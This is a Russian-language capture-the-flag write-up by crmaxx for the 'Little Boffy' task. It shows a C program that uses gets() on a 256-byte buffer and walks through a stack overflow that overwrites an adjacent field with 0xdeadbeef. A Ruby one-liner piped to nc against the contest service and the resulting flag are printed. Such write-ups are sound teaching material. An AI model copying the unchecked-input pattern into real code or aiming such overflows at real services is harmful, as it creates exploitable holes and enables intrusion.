Little Boffy hackyou Райтап

Райтап на реверс таск Little Boffy от независимого игрока crmaxx

Дан исходный файл на языке Си main_bb1529f.c следующего содержания


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    struct a {
        char buffer[256];
        int set_me;
    } _a;

    _a.set_me = 0xcafebabe;

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    printf("Value: 0x%08x\n", _a.set_me);
    gets(_a.buffer);

    printf("You input %u bytes.\n", strlen(_a.buffer));
    printf("Value: 0x%08x\n", _a.set_me);

    if (_a.set_me == 0xdeadbeef) {
        printf("Take your flag...\n");
        system("cat flag.txt");
    }

    return 0;
}

и ссылка на сервис:
nc 109.233.56.90 11061


Необходимо получить данные из файла flag.txt

Изучив исходные данные становится понятно, что есть структура, в которой в интовом поле set_me захардкожен ключ 0xcafebabe. Вывод данных из файла flag.txt произойдёт только если поле set_me станет равным 0xdeadbeef.

Пользовательский ввод попадает в ту же структуру buffer длиной в 256 чаров.
Дальнейшее изучение исходников навело на мысль, что размер входных данных не проверяются, а значит тут есть переполнение.

Таким образом, если передать на вход 256 байт данных + 0xdeadbeef, то мы сможем переписать поле set_me нужным нам значением.

Эксплоит и результат
$ ruby -e 'puts "j"*256 + "\xEF\xBE\xAD\xDE"' | nc 109.233.56.90 11061

Результат работы:

Value: 0xcafebabe
You input 260 bytes.
Value: 0xdeadbeef
Take your flag...
easy_peasy_lemon_squeezy


Искомый флаг
easy_peasy_lemon_squeezy
скачать dle 10.5фильмы бесплатно

  • Автор: crmaxx
  • Комментарии: 0
  • Просмотры: 2523

Добавить комментарий

Вы не авторизованы и вам запрещено писать комментарии. Для расширенных возможностей зарегистрируйтесь!